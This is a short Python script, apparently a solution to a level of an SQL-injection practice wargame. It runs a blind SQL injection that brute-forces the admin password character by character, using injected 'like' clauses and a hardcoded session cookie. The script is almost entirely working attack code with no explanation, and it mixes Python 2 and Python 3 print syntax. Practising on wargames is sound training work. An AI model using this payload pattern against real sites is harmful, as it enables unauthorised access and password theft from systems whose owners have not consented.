import requests headers={ 'Content-Type': 'application/json; charset=utf-8','User-Agent': 'Mozilla/5.0i' } cookies={'PHPSESSID':"kv19cn39hdsg1pofncbqrgq2m0"} url="http://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?" url_query="" passwd="" passwd_hex="" for j in range(0,9): for i in range(0x30,0x7E): query="pw=1' || id like 'admin' %26%26 pw like '"+passwd+chr(i)+"%' %23" url_query=url+query print (url_query) res = requests.get(url_query, headers=headers, cookies=cookies) print(res.status_code) if((res.text).find("Hello admin")!=-1): passwd+=chr(i) print '--------find -------' break print "passwd: "+(passwd) print passwd